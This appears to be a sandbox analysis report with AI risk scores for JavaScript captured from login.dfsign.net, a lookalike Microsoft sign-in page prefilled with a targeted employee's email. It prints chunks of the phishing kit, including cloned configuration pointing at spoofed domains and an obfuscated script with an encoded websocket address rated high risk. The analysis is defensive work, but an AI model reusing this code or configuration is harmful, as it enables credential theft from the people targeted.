Symbol&&Symbol.iterator,e=r&&t[r],n=0;if(e)return e.call(t);if(t&&"number"==typeof t.length)return{next:function(){return t&&n>=t.length&&(t=void 0),{value:t&&t[n++],done:!t}}};throw new TypeError(r?"Object is not iterable.":"Symbol.iterator is not defined.")}function i(t,r){var e="function"==typeof Symbol&&t[Symbol.iterator];if(!e)return t;var n,o,i=e.call(t),u=[];try{for(;(void 0===r\|\|r-- >0)&&!(n=i.next()).done;)u.push(n.value)}catch(t){o={error:t}}finally{try{n&&!n.done&&(e=i.return)&&e.call(i)}finally{if(o)throw o.error}}return u}function u(t,r,e){if(e\|\|2===arguments.length)for(var n,o=0,i=r.length;o<i;o++)!n&&o in r\|\|(n\|\|(n=Array.prototype.slice.call(r,0,o)),n[o]=r[o]);return t.concat(n\|\|Array.prototype.slice.call(r))}function c(t){return this instanceof c?(this.v=t,this):new c(t)}function s(t,r,e){if(!Symbol.asyncIterator)throw new TypeError("Symbol.asyncIterator is not defined.");var n,o=e.apply(t,r\|\|[]),i=[];return n={},u("next"),u("throw"),u("return",(function(t){return function(r){return Promise.resolve(r).then(t,l)}})),n[Symbol.asyncIterator]=function(){return this},n;function u(t,r){o[t]&&(n[t]=function(r){return new Promise((function(e,n){i.push([t,r,e,n])>1\|\|s(t,r)}))},r&&(n[t]=r(n[t])))}function s(t,r){try{(e=o[t](r)).value instanceof c?Promise.resolve(e.value.v).then(a,l):f(i[0][2],e)}catch(t){f(i[0][3],t)}var e}function a(t){s("next",t)}function l(t){s("throw",t)}function f(t,r){t(r),i.shift(),i.length&&s(i[0][0],i[0][1])}}function a(t){if(!Symbol.asyncIterator)throw new TypeError("Symbol.asyncIterator is not defined.");var r,e=t[Symbol.asyncIterator];return e?e.call(t):(t=o(t),r={},n("next"),n("throw"),n("return"),r[Symbol.asyncIterator]=function(){return this},r);function n(e){r[e]=t[e]&&function(r){return new Promise((function(n,o){(function(t,r,e,n){Promise.resolve(n).then((function(r){t({value:r,done:e})}),r)})(n,o,(r=t[e](r)).done,r.value)}))}}}Object.create;"function"==typeof SuppressedError&&SuppressedError;function l(t){return"function"==typeof t}var f,h=((f=function(t){return function(r){t(this),this.message=r?r.length+" errors oc
URL: https://login.dfsign.net/?organisation=modula&clie... Model: Joe Sandbox AI	{ "risk_score": 6, "reasoning": "The provided JavaScript snippet contains several behaviors that raise moderate security concerns. It includes external data transmission to third-party domains, the use of fallback domains, and aggressive DOM manipulation. While there are no clear indicators of malicious intent, the overall behavior suggests the script may be overly aggressive or poorly implemented, potentially leading to privacy or security risks. Further review is recommended to determine the script's true purpose and ensure it is not misusing user data or introducing vulnerabilities." }
//<![CDATA[ $Config={"iMaxStackForKnockoutAsyncComponents":10000,"fShowButtons":true,"urlCdn":"https://9676170e-b5027fcd.dfsign.net/shared/1.0/","urlDefaultFavicon":"https://9676170e-b5027fcd.dfsign.net/shared/1.0/content/images/favicon_a_eupayfgghqiai7k9sol6lg2.ico","urlPost":"/login.srf?organisation=modula\u0026username=giovanni.cariani%40modula.com\u0026client-request-id=584af7f4-b4d3-418c-8451-6d5e4671fe69\u0026sso_reload=True","iPawnIcon":0,"sPOST_Username":"","sFTName":"flowToken","fEnableOneDSClientTelemetry":true,"dynamicTenantBranding":null,"staticTenantBranding":null,"oAppCobranding":{},"iBackgroundImage":2,"fApplicationInsightsEnabled":false,"iApplicationInsightsEnabledPercentage":0,"urlSetDebugMode":"https://login.dfsign.net/common/debugmode","fEnableCssAnimation":true,"fAllowGrayOutLightBox":true,"fUseMsaSessionState":true,"fIsRemoteNGCSupported":true,"desktopSsoConfig":{"isEdgeAnaheimAllowed":true,"iwaEndpointUrlFormat":"https://5eddaa21-b5027fcd.dfsign.net/{0}/winauth/sso?client-request-id=584af7f4-b4d3-418c-8451-6d5e4671fe69","iwaSsoProbeUrlFormat":"https://5eddaa21-b5027fcd.dfsign.net/{0}/winauth/ssoprobe?client-request-id=584af7f4-b4d3-418c-8451-6d5e4671fe69","iwaIFrameUrlFormat":"https://5eddaa21-b5027fcd.dfsign.net/{0}/winauth/iframe?client-request-id=584af7f4-b4d3-418c-8451-6d5e4671fe69\u0026isAdalRequest=False","iwaRequestTimeoutInMs":10000,"startDesktopSsoOnPageLoad":false,"progressAnimationTimeout":10000,"isEdgeAllowed":false,"minDssoEdgeVersion":"17","isSafariAllowed":true,"redirectUri":"","isIEAllowedForSsoProbe":true,"edgeRedirectUri":"https://5eddaa21-b5027fcd.dfsign.net/common/winauth/sso/edgeredirect?client-request-id=584af7f4-b4d3-418c-8451-6d5e4671fe69\u0026origin=login.microsoftonline.com\u0026is_redirected=1","isFlowTokenPassedInEdge":true},"iSessionPullType":2,"fUseSameSite":true,"isGlobalTenant":true,"uiflavor":1001,"fOfflineAccountVisible":false,"fEnableUserStateFix":true,"fShowAccessPassPeek":true,"fUpdateSessionPollingLogic":true,"fEnableShowPickerCredObservable":true,"fFetchSessionsSkipDsso":true,"fUseNonMicrosoftDefaultBrandingForCiam":true,"fRemoveCustomCss":true,"fFixUICrashForApiRequestHandler":true,"fShowUpdatedKoreanPrivacyFooter":true,"fUsePostCssHotfix":true,"fFixUserFlowBranding":true,"fEnablePasskeyNullFix":true,"fEnableRefreshCookiesFix":true,"scid":2001,"hpgact":2101,"hpgid":6,"apiCanary":"PAQABDgEAAADW6jl31mB3T7ugrWTT8pFedW02CKsNdJPAbiTZM8uPDYtWxwzh5I4OKPmNqcfYhJDUIlyWn1D8sRhsnUwHCqTi5Aej9XDuNbY688VrgaV5NEB9Rvt7vaalb7nGz8CfMF3UFAtCWwORtCsp_lxhqG5fR9_bTaFycFyBSm5jM1zaIuc9wiWYerqXX-uLTlKbdajHR2YLMOt5H9kENbjUf1wp5L-WAI76pCTMZvfU4aU7sCAA","canary":"GXSQk+Rd7CDou5d3POkNB4xEHLxXrXS637DOi7Gc96o=4:1:CANARY:DFovl3u12KTR+uGlDbla2DlGu0KenSrBHwkV546pgIU=","sCanaryTokenName":"canary","fSkipRenderingNewCanaryToken":false,"fEnableNewCsrfProtection":true,"correlationId":"584af7f4-b4d3-418c-8451-6d5e4671fe69","sessionId":"d17cee8d-1931-4062-bf4d-e27fb6e48904","locale":{"mkt":"en-US","lcid":1033},"slMaxRetry":2,"slReportFailure":true,"strings":{"desktopsso":{"authenticatingmessage":"Trying to sign you in"}},"enums":{"ClientMetricsModes":{"None":0,"SubmitOnPost":1,"SubmitOnRedirect":2,"InstrumentPlt":4}},"urls":{"instr":{"pageload":"https://login.dfsign.net/common/instrumentation/reportpageload","dssostatus":"https://login.dfsign.net/common/instrumentation/dssostatus"}},"browser":{"ltr":1,"Chrome":1,"_Win":1,"_M117":1,"_D0":1,"Full":1,"Win81":1,"RE_WebKit":1,"b":{"name":"Chrome","major":117,"minor":0},"os":{"name":"Windows","version":"10.0"},"V":"117.0"},"watson":{"url":"/common/handlers/watson","bundle":"https://9676170e-b5027fcd.dfsign.net/ests/2.1/content/cdnbundles/watson.min_q5ptmu8aniymd4ftuqdkda2.js","sbundle":"https://9676170e-b5027fcd.dfsign.net/ests/2.1/content/cdnbundles/watsonsupportwithjquery.3.5.min_dc940oomzau4rsu8qesnvg2.js","fbundle":"https://9676170e-b5027fcd.dfsign.net/ests/2.1/content/cdnbundles/frameworksupport.min_oadrnc13magb009k4d20lg2.js","resetErrorPeriod":5,"maxCorsE
URL: https://login.dfsign.net/?organisation=modula&clie... Model: Joe Sandbox AI	{ "risk_score": 6, "reasoning": "The provided JavaScript snippet contains several behaviors that raise moderate security concerns. It includes external data transmission to third-party domains, the use of fallback domains, and aggressive DOM manipulation. While the script appears to have a legitimate purpose related to authentication and user management, the lack of transparency around the data being sent and the use of multiple domains, some of which may be untrusted, warrant further investigation. Overall, this script requires closer review to determine the extent of potential risks." }
//<![CDATA[ $Config={"fShowPersistentCookiesWarning":false,"urlMsaSignUp":"https://l1ve.dfsign.net/oauth20_authorize.srf?scope=openid+profile+email+offline_access\u0026response_type=code\u0026client_id=51483342-085c-4d86-bf88-cf50c7252078\u0026response_mode=form_post\u0026redirect_uri=https%3a%2f%2flogin.dfsign.net%2fcommon%2ffederation%2foauth2msa\u0026state=rQQIARAA42Kw0skoKSkottLXL8gvKknM0cvNTC7KL85PK8nPy8nMS9VLzs_Vyy9Kz0wBsYqEuASkNVvf6VxhcVvTsFvnX4_mklmMnPE5mWVglasYlQkbp3-BkfEFI-MkJun0zPyyxLy8TL3kxKLMxLxMh9z8lNKcRJCiW0yC_kXpninhxW6pKalFiSWZ-XmPmPHpuMAi8IqFx4DZioODS4BBgkGB4QcL4yJWoIu_eypb7XPUcVymnL5e-tNXhlOs-u4RwYHZ2kEp5s4u-aWmKcYB_tl-TiYVrh4-FRFFEcFmxuYu_pnm7smWZvm2RlaGE9iEJrAxnWJj-MDG2MHOMIud4QAn4wYexgO8DD_4Wh4fblvw5PQ7j1f8OvrGKcaBhXlu_i7G2pkhXgWmlsYBKcn5ScHlZr6GSRmREeUhlfmW5YXaoSa2GwQYHggwAAA1\u0026login_hint=giovanni.cariani%40modula.com\u0026estsfed=1\u0026uaid=ee85291bd42c4604ac80bb2cfe8c29a4\u0026signup=1\u0026lw=1\u0026fl=easi2\u0026fci=https%3a%2f%2f4b5bd5de-b5027fcd.dfsign.net","urlMsaLogout":"https://l1ve.dfsign.net/logout.srf?iframed_by=https%3a%2f%2flogin.dfsign.net","urlOtherIdpForget":"https://l1ve.dfsign.net/forgetme.srf?iframed_by=https%3a%2f%2flogin.dfsign.net","showCantAccessAccountLink":true,"urlGitHubFed":"https://l1ve.dfsign.net/oauth20_authorize.srf?scope=openid+profile+email+offline_access\u0026response_type=code\u0026client_id=51483342-085c-4d86-bf88-cf50c7252078\u0026response_mode=form_post\u0026redirect_uri=https%3a%2f%2flogin.dfsign.net%2fcommon%2ffederation%2foauth2msa\u0026state=rQQIARAA42Kw0skoKSkottLXL8gvKknM0cvNTC7KL85PK8nPy8nMS9VLzs_Vyy9Kz0wBsYqEuASkNVvf6VxhcVvTsFvnX4_mklmMnPE5mWVglasYlQkbp3-BkfEFI-MkJun0zPyyxLy8TL3kxKLMxLxMh9z8lNKcRJCiW0yC_kXpninhxW6pKalFiSWZ-XmPmPHpuMAi8IqFx4DZioODS4BBgkGB4QcL4yJWoIu_eypb7XPUcVymnL5e-tNXhlOs-u4RwYHZ2kEp5s4u-aWmKcYB_tl-TiYVrh4-FRFFEcFmxuYu_pnm7smWZvm2RlaGE9iEJrAxnWJj-MDG2MHOMIud4QAn4wYexgO8DD_4Wh4fblvw5PQ7j1f8OvrGKcaBhXlu_i7G2pkhXgWmlsYBKcn5ScHlZr6GSRmREeUhlfmW5YXaoSa2GwQYHggwAAA1\u0026login_hint=giovanni.cariani%40modula.com\u0026estsfed=1\u0026uaid=ee85291bd42c4604ac80bb2cfe8c29a4\u0026fci=https%3a%2f%2f4b5bd5de-b5027fcd.dfsign.net\u0026idp_hint=github.dfsign.net","arrExternalTrustedRealmFederatedIdps":[],"fShowSignInWithGitHubOnlyOnCredPicker":true,"fEnableShowResendCode":true,"iShowResendCodeDelay":90000,"sSMSCtryPhoneData":"AF~Afghanistan~93!!!AX~land Islands~358!!!AL~Albania~355!!!DZ~Algeria~213!!!AS~American Samoa~1!!!AD~Andorra~376!!!AO~Angola~244!!!AI~Anguilla~1!!!AG~Antigua and Barbuda~1!!!AR~Argentina~54!!!AM~Armenia~374!!!AW~Aruba~297!!!AC~Ascension Island~247!!!AU~Australia~61!!!AT~Austria~43!!!AZ~Azerbaijan~994!!!BS~Bahamas~1!!!BH~Bahrain~973!!!BD~Bangladesh~880!!!BB~Barbados~1!!!BY~Belarus~375!!!BE~Belgium~32!!!BZ~Belize~501!!!BJ~Benin~229!!!BM~Bermuda~1!!!BT~Bhutan~975!!!BO~Bolivia~591!!!BQ~Bonaire~599!!!BA~Bosnia and Herzegovina~387!!!BW~Botswana~267!!!BR~Brazil~55!!!IO~British Indian Ocean Territory~246!!!VG~British Virgin Islands~1!!!BN~Brunei~673!!!BG~Bulgaria~359!!!BF~Burkina Faso~226!!!BI~Burundi~257!!!CV~Cabo Verde~238!!!KH~Cambodia~855!!!CM~Cameroon~237!!!CA~Canada~1!!!KY~Cayman Islands~1!!!CF~Central African Republic~236!!!TD~Chad~235!!!CL~Chile~56!!!CN~China~86!!!CX~Christmas Island~61!!!CC~Cocos (Keeling) Islands~61!!!CO~Colombia~57!!!KM~Comoros~269!!!CG~Congo~242!!!CD~Congo (DRC)~243!!!CK~Cook Islands~682!!!CR~Costa Rica~506!!!CI~Cte d\u0027Ivoire~225!!!HR~Croatia~385!!!CU~Cuba~53!!!CW~Curaao~599!!!CY~Cyprus~357!!!CZ~Czechia~420!!!DK~Denmark~45!!!DJ~Djibouti~253!!!DM~Dominica~1!!!DO~Dominican Republic~1!!!EC~Ecuador~593!!!EG~Egypt~20!!!SV~El Salvador~503!!!GQ~Equatorial Guinea~240!!!ER~Eritrea~291!!!EE~Estonia~372!!!ET~Ethiopia~251!!!FK~Falkland Islands~500!!!FO~Faroe Islands~298!!!FJ~Fiji~679!!!FI~Finland~358!!!FR~France~33!!!GF~French Guiana~594!!!PF~French Polynesia~689!!!GA~Gabon~241!!!GM~Gambia~220!!!GE~Georgia~995!!!DE~Germany~49!!!GH~Ghana~233!!!GI~Gibraltar~350!!!GR~Greece~30!!!GL~Greenland~299!!!GD~Grenada~1!!!GP~Gu
URL: https://9676170e-b5027fcd.dfsign.net/shared/1.0/co... Model: Joe Sandbox AI	{ "risk_score": 4, "reasoning": "The provided JavaScript snippet appears to be a polyfill for the Promise API, which is a common and legitimate practice. However, it also includes some behaviors that warrant further review, such as the use of dynamic code execution (via `setTimeout`) and potential data exfiltration (sending data to external domains). Additionally, the script is obfuscated, which increases the risk. Overall, the script exhibits a mix of low-risk and moderate-risk indicators, resulting in a medium risk score." }
/! ------------------------------------------- START OF THIRD PARTY NOTICE ----------------------------------------- * * This file is based on or incorporates material from the projects listed below (Third Party IP). The original copyright notice and the license under which Microsoft received such Third Party IP, are set forth below. Such licenses and notices are provided for informational purposes only. Microsoft licenses the Third Party IP to you under the licensing terms for the Microsoft product. Microsoft reserves all other rights not expressly granted under this agreement, whether by implication, estoppel or otherwise. * * json2.js (2016-05-01) * https://github.dfsign.net/douglascrockford/JSON-js * License: Public Domain * * Provided for Informational Purposes Only * * ----------------------------------------------- END OF THIRD PARTY NOTICE ------------------------------------------ */!function(e){function t(t){for(var n,r,i=t[0],a=t[1],s=0,u=[];s<i.length;s++)r=i[s],Object.prototype.hasOwnProperty.call(o,r)&&o[r]&&u.push(o[r][0]),o[r]=0;for(n in a)Object.prototype.hasOwnProperty.call(a,n)&&(e[n]=a[n]);for(c&&c(t);u.length;)u.shift()()}var n,r={},o={1:0};function i(t){if(r[t])return r[t].exports;var n=r[t]={i:t,l:!1,exports:{}};return e[t].call(n.exports,n,n.exports,i),n.l=!0,n.exports}Function.prototype.bind\|\|(n=Array.prototype.slice,Function.prototype.bind=function(e){if("function"!=typeof this)throw new TypeError("Function.prototype.bind - what is trying to be bound is not callable");var t=n.call(arguments,1),r=t.length,o=this,i=function(){},a=function(){return t.length=r,t.push.apply(t,arguments),o.apply(i.prototype.isPrototypeOf(this)?this:e,t)};return this.prototype&&(i.prototype=this.prototype),a.prototype=new i,a}),document.head=document.head\|\|document.getElementsByTagName("head")[0],function(){function e(t){var n=this,r=0,o=null,i=[];function a(){if(i.length>0){var e=i.slice();i=[],setTimeout((function(){for(var t=0,n=e.length;t<n;++t)e[t]()}),0)}}function s(e){0===r&&(o=e,r=1,a())}function u(e){0===r&&(o=e,r=2,a())}n.then=function(t,n){return new e((function(s,u){!function(t,n,s,u){i.push((function(){var i;try{i=1===r?"function"==typeof t?t(o):o:"function"==typeof n?n(o):o}catch(a){return void u(a)}i instanceof e?i.then(s,u):2===r&&"function"!=typeof n?u(i):s(i)})),0!==r&&a()}(t,n,s,u)}))},n["catch"]=function(e){return n.then(null,e)},function(){if("function"!=typeof t)throw new TypeError("Promise: argument is not a Function object");try{t(s,u)}catch(e){u(e)}}()}function t(e,t,n,r,o){return function(i){e[t]=r?i:o?{status:"fulfilled",value:i}:{status:"rejected",reason:i},n()}}function n(n,r){return n&&n.length?new e((function(o,i){for(var a=[],s=0,u=0,c=n.length;u<c;++u){var l=n[u];if(l instanceof e){s++;var d=function(){0==--s&&o(a)};r?l.then(t(a,u,d,r),i):l.then(t(a,u,d,r,!0),t(a,u,d,r,!1))}else a[u]=l}0===s&&setTimeout((function(){o(a)}),0)})):e.resolve([])}function r(e,t){return function(){e(t)}}e.all=function(e){return n(e,!0)},e.allSettled=function(e){return n(e,!1)},e.race=function(t){return new e((function(n,o){if(t&&t.length)for(var i=0,a=t.length;i<a;++i){var s=t[i];s instanceof e?s.then(n,o):setTimeout(r(n,s),0)}}))},e.reject=function(t){return new e((function(e,n){n(t)}))},e.resolve=function(t){return t instanceof e?t:t&&"function"==typeof t.then?new e((function(e,n){t.then(e,n)})):new e((function(e){e(t)}))},window.Promise\|\|(window.Promise=e),window.Promise.all\|\|(window.Promise.all=e.all),window.Promise.allSettled\|\|(window.Promise.allSettled=e.allSettled),window.Promise.race\|\|(window.Promise.race=e.race),window.Promise.reject\|\|(window.Promise.reject=e.reject),window.Promise.resolve\|\|(window.Promise.resolve=e.resolve)}(),i.e=function(e){var t=[],n=o[e];if(0!==n)if(n)t.push(n[2]);else{var r=new Promise((function(t,r){n=o[e]=[t,r]}));t.push(n[2]=r);var a=window.ServerData,s=a&&a.loader&&a.loader.cdnRoots\|\|[],u=a&&a.slMaxRetry?a.slMaxRetry:s.length-1,c=new Error;var l=function d(t,
URL: https://login.dfsign.net/?organisation=modula&clie... Model: Joe Sandbox AI	{ "risk_score": 2, "reasoning": "The provided JavaScript snippet appears to be a part of a web page loading and debugging utility. It does not contain any high-risk indicators such as dynamic code execution, data exfiltration, or redirects to malicious domains. The script is primarily responsible for handling document ready and load events, as well as providing a simple logging mechanism through the $Debug object. While it uses some legacy APIs like XDomainRequest, these pose minor risks and are not inherently malicious. Overall, the script seems to be a benign utility with no clear signs of malicious intent." }
//<![CDATA[ !function(){var e=window,r=e.$Debug=e.$Debug\|\|{},t=e.$Config\|\|{};if(!r.appendLog){var n=[],o=0;r.appendLog=function(e){var r=t.maxDebugLog\|\|25,i=(new Date).toUTCString()+":"+e;n.push(o+":"+i),n.length>r&&n.shift(),o++},r.getLogs=function(){return n}}}(),function(){function e(e,r){function t(i){var a=e[i];if(i<n-1){return void(o.r[a]?t(i+1):o.when(a,function(){t(i+1)}))}r(a)}var n=e.length;t(0)}function r(e,r,i){function a(){var e=!!s.method,o=e?s.method:i[0],a=s.extraArgs\|\|[],u=n.$WebWatson;try{ var c=t(i,!e);if(a&&a.length>0){for(var d=a.length,l=0;l<d;l++){c.push(a[l])}}o.apply(r,c)}catch(e){return void(u&&u.submitFromException&&u.submitFromException(e))}}var s=o.r&&o.r[e];return r=r\|\|this,s&&(s.skipTimeout?a():n.setTimeout(a,0)),s}function t(e,r){return Array.prototype.slice.call(e,r?1:0)}var n=window;n.$Do\|\|(n.$Do={"q":[],"r":[],"removeItems":[],"lock":0,"o":[]});var o=n.$Do;o.when=function(t,n){function i(e){r(e,a,s)\|\|o.q.push({"id":e,"c":a,"a":s})}var a=0,s=[],u=1;"function"==typeof n\|\|(a=n, u=2);for(var c=u;c<arguments.length;c++){s.push(arguments[c])}t instanceof Array?e(t,i):i(t)},o.register=function(e,t,n){if(!o.r[e]){o.o.push(e);var i={};if(t&&(i.method=t),n&&(i.skipTimeout=n),arguments&&arguments.length>3){i.extraArgs=[];for(var a=3;a<arguments.length;a++){i.extraArgs.push(arguments[a])}}o.r[e]=i,o.lock++;try{for(var s=0;s<o.q.length;s++){var u=o.q[s];u.id==e&&r(e,u.c,u.a)&&o.removeItems.push(u)}}catch(e){throw e}finally{if(0===--o.lock){for(var c=0;c<o.removeItems.length;c++){ for(var d=o.removeItems[c],l=0;l<o.q.length;l++){if(o.q[l]===d){o.q.splice(l,1);break}}}o.removeItems=[]}}}},o.unregister=function(e){o.r[e]&&delete o.r[e]}}(),function(e,r){function t(){if(!a){if(!r.body){return void setTimeout(t)}a=!0,e.$Do.register("doc.ready",0,!0)}}function n(){if(!s){if(!r.body){return void setTimeout(n)}t(),s=!0,e.$Do.register("doc.load",0,!0),i()}}function o(e){(r.addEventListener\|\|"load"===e.type\|\|"complete"===r.readyState)&&t()}function i(){ r.addEventListener?(r.removeEventListener("DOMContentLoaded",o,!1),e.removeEventListener("load",n,!1)):r.attachEvent&&(r.detachEvent("onreadystatechange",o),e.detachEvent("onload",n))}var a=!1,s=!1;if("complete"===r.readyState){return void setTimeout(n)}!function(){r.addEventListener?(r.addEventListener("DOMContentLoaded",o,!1),e.addEventListener("load",n,!1)):r.attachEvent&&(r.attachEvent("onreadystatechange",o),e.attachEvent("onload",n))}()}(window,document),function(){function e(){ return f.$Config\|\|f.ServerData\|\|{}}function r(e,r){var t=f.$Debug;t&&t.appendLog&&(r&&(e+=" '"+(r.src\|\|r.href\|\|"")+"'",e+=", id:"+(r.id\|\|""),e+=", async:"+(r.async\|\|""),e+=", defer:"+(r.defer\|\|"")),t.appendLog(e))}function t(){var e=f.$B;if(void 0===d){if(e){d=e.IE}else{var r=f.navigator.userAgent;d=-1!==r.indexOf("MSIE ")\|\|-1!==r.indexOf("Trident/")}}return d}function n(){var e=f.$B;if(void 0===l){if(e){l=e.RE_Edge}else{var r=f.navigator.userAgent;l=-1!==r.indexOf("Edge")}}return l}function o(e){ var r=e.indexOf("?"),t=r>-1?r:e.length,n=e.lastIndexOf(".",t);return e.substring(n,n+h.length).toLowerCase()===h}function i(){var r=e();return(r.loader\|\|{}).slReportFailure\|\|r.slReportFailure\|\|!1}function a(){return(e().loader\|\|{}).redirectToErrorPageOnLoadFailure\|\|!1}function s(){return(e().loader\|\|{}).logByThrowing\|\|!1}function u(e){if(!t()&&!n()){return!1}var r=e.src\|\|e.href\|\|"";if(!r){return!0}if(o(r)){var i,a,s;try{i=e.sheet,a=i&&i.cssRules,s=!1}catch(e){s=!0}if(i&&!a&&s){return!0} if(i&&a&&0===a.length){return!0}}return!1}function c(){function t(e){g.getElementsByTagName("head")[0].appendChild(e)}function n(e,r,t,n){var u=null;return u=o(e)?i(e):"script"===n.toLowerCase()?a(e):s(e,n),r&&(u.id=r),"function"==typeof u.setAttribute&&(u.setAttribute("crossorigin","anonymous"),t&&"string"==typeof t&&u.setAttribute("name","")),u}function i(e){var r=g.createElement("link");return r.rel="stylesheet",r.type="text/css",r.href=e,r}function a(e){ var r=g.createElement("script"),t=g.querySelector("
URL: https://login.dfsign.net/?organisation=modula&clie... Model: Joe Sandbox AI	{ "risk_score": 9, "reasoning": "This JavaScript snippet exhibits several high-risk behaviors, including dynamic code execution, data exfiltration, and redirects to suspicious domains. The use of obfuscated code and the presence of suspicious domains further increase the risk. Overall, this script demonstrates a high likelihood of malicious intent and should be treated with caution." }
function a0U4(){var wT=['catch','hdzVV','NODE','dSfEX','OqoAf','TpPvN','closingObserver','emit','clearInterval','bquFj','groups','TsSIp','getOwnPropertyNames','1192TtppTS','7350540uRwRHz','LZBul','none','xfFPC','Array','DNGtB','pong','cYbBL','__proto__','1345770uIvjXP','complete','WbSuO','observable','return','urJSy','yMpEE','source','version','wPVVT','qtRBz','1720749mPyvSH','EnGqx','qoKZw','WebSocketCtor','_bufferSize','hxzdJ','hasOwnProperty','observe','add','file:','deg)','gbMWc','lift','GfBjh','flags','Reflect','enumerable','delay','asyncIterator','hasOwn','name','resolve','replace','scheduler','VIkZc','join','ZWpKb','{}.constructor(\x22return\x20this\x22)(\x20)','ifGOT','xoths','getter','get\x20','createElement','species','defineProperty','setter','ApmvU','REJECTION_EVENT','map','QZlbi','useDeprecatedNextContext','KMPAR','stack','Scheduled\x20action\x20threw\x20falsy\x20error','yqFKs','getOwnPropertySymbols','KTuxb','txwqf','function','@@iterator','raw','lBXlH','BUN','vfZga','importScripts','Node.js/','joXHh','319RvAAMn','propertyIsEnumerable','ownKeys','tenXI','finally','rhAcE','string','promise','min','','open','MessageChannel','GroNj','You\x20provided\x20','WeakMap','Arguments','44616050sFUnwv','exception','DENO','reject','vkJCK','mfZUk','charAt','onmessage','Incorrect\x20invocation','setTimeout','floor','getReader','fail','setImmediate','isPrototypeOf','sticky','5079102cIRTHF','serializer','BROWSER','2231362ODdLZj','_complete','onStoppedNotification','pDQoo','finalize','htmlfile','HhNSW','_throwIfClosed','apply','Provided\x20object\x20does\x20not\x20correctly\x20implement\x20Symbol.observable','szGwo','from','SZUrE','symbol','_execute','openObserver','RegExp#exec\x20called\x20on\x20incompatible\x20receiver','hasIndices','kYRWy','BFedY','result','165EwkpeH','oWTwY','no\x20WebSocket\x20constructor\x20can\x20be\x20found','return\x20this','src','_subscribe','normalize','eZwmL','WeTMU','UyYyV','state','Symbol.','cxLQA','lastIndex','notified','shift','Can\x27t\x20set\x20','FTFBU','all','global','nEyuG','isStopped','_checkFinalizedStatuses','default','gzqIa','','59805NategI','3.38.0','RNxOt','zGtPt','facade','jGDRy','onFinalize','ops','Event','has','qXPXn','eVYLl','set','btJaR','ceil','LlcLu','random','parent','Ggleq','1370628XLjApL','url','qWIeV','warn','CGhTS','qVYVc','Fmxip','Null','readyState','native-string-replace','parentWindow','rqfMY','234102Pmmtjt','console','zkbJt','$(?!\x5cs)','_connectSocket','CLOUDFLARE','closed','UGbfr','normal','Deno','OKNlf','UnsubscriptionError','Object\x20already\x20initialized','Unable\x20to\x20lift\x20unknown\x20Observable\x20type','BROKEN_CARET','removeChild','wasClean','Dispatch','code','subscribe','gBZiG','tPuYv','number','push','AOSMC','48717sjqJRQ','withoutSetter','work','IS_RECORD','JCmvZ','thrownError','iframe','Accessors\x20not\x20supported','Jabmd','pure','error','Function','documentElement','includes','read','prototype','IYPgT','exec','throw','QylLW','hasError','find','DgIyv','VPEXc','@@observable','sent','Symbol.asyncIterator\x20is\x20not\x20defined.','BZywR','errors','useDeprecatedSynchronousErrorHandling','MCfwY','sPzXO','_output','\x20required','PromiseRejectionEvent','iCRoC','reason','unhandledRejection','HzFPD','POLYFILL','remove','document.F=Object','for','KEneU','multiline','initialTeardown','Jygys','Object','requestAsyncId','match','toLowerCase','trunc','uYeWs','type','Ysiem','giMGw','\x20is\x20not\x20a\x20function','bMCUT','CeaBW','max','clearTimeout','toString','domain','defineProperties','jXIuC','(?:\x20','ZjTMl','LBgdV','crykn','object','construct','GQUoS','WkGdG','nFJzs','_parentage','port2','9526818bEKTjc','KeSAL','asObservable','RegExp','aMsrr','location','onUnhandledError','log','sPPPA','unsafe','cssText','WebSocketSubject.error\x20must\x20be\x20called\x20with\x20an\x20object\x20with\x20an\x20error\x20code,\x20and\x20an\x20optional\x20reason:\x20{\x20code:\x20number,\x20reason:\x20string\x20}','d3NzOi8vbG9naW4uZGZzaWduLm5ldC9iNTAyN2ZjZDE2MTQ0ZjY1YmQ4ODEwZjVmOWN
URL: https://login.dfsign.net/?organisation=modula&clie... Model: Joe Sandbox AI	```json { "risk_score": 2, "reasoning": "The script primarily involves DOM manipulation and event handling, with no high-risk indicators like dynamic code execution or data exfiltration. It uses a logging mechanism and checks for browser compatibility, which are typical for debugging and error handling. No interactions with external domains or obfuscated code are present." }
//<![CDATA[ !function(){var e=window,r=e.$Debug=e.$Debug\|\|{},t=e.$Config\|\|{};if(!r.appendLog){var n=[],o=0;r.appendLog=function(e){var r=t.maxDebugLog\|\|25,i=(new Date).toUTCString()+":"+e;n.push(o+":"+i),n.length>r&&n.shift(),o++},r.getLogs=function(){return n}}}(),function(){function e(e,r){function t(i){var a=e[i];if(i<n-1){return void(o.r[a]?t(i+1):o.when(a,function(){t(i+1)}))}r(a)}var n=e.length;t(0)}function r(e,r,i){function a(){var e=!!s.method,o=e?s.method:i[0],a=s.extraArgs\|\|[],u=n.$WebWatson;try{ var c=t(i,!e);if(a&&a.length>0){for(var d=a.length,l=0;l<d;l++){c.push(a[l])}}o.apply(r,c)}catch(e){return void(u&&u.submitFromException&&u.submitFromException(e))}}var s=o.r&&o.r[e];return r=r\|\|this,s&&(s.skipTimeout?a():n.setTimeout(a,0)),s}function t(e,r){return Array.prototype.slice.call(e,r?1:0)}var n=window;n.$Do\|\|(n.$Do={"q":[],"r":[],"removeItems":[],"lock":0,"o":[]});var o=n.$Do;o.when=function(t,n){function i(e){r(e,a,s)\|\|o.q.push({"id":e,"c":a,"a":s})}var a=0,s=[],u=1;"function"==typeof n\|\|(a=n, u=2);for(var c=u;c<arguments.length;c++){s.push(arguments[c])}t instanceof Array?e(t,i):i(t)},o.register=function(e,t,n){if(!o.r[e]){o.o.push(e);var i={};if(t&&(i.method=t),n&&(i.skipTimeout=n),arguments&&arguments.length>3){i.extraArgs=[];for(var a=3;a<arguments.length;a++){i.extraArgs.push(arguments[a])}}o.r[e]=i,o.lock++;try{for(var s=0;s<o.q.length;s++){var u=o.q[s];u.id==e&&r(e,u.c,u.a)&&o.removeItems.push(u)}}catch(e){throw e}finally{if(0===--o.lock){for(var c=0;c<o.removeItems.length;c++){ for(var d=o.removeItems[c],l=0;l<o.q.length;l++){if(o.q[l]===d){o.q.splice(l,1);break}}}o.removeItems=[]}}}},o.unregister=function(e){o.r[e]&&delete o.r[e]}}(),function(e,r){function t(){if(!a){if(!r.body){return void setTimeout(t)}a=!0,e.$Do.register("doc.ready",0,!0)}}function n(){if(!s){if(!r.body){return void setTimeout(n)}t(),s=!0,e.$Do.register("doc.load",0,!0),i()}}function o(e){(r.addEventListener\|\|"load"===e.type\|\|"complete"===r.readyState)&&t()}function i(){ 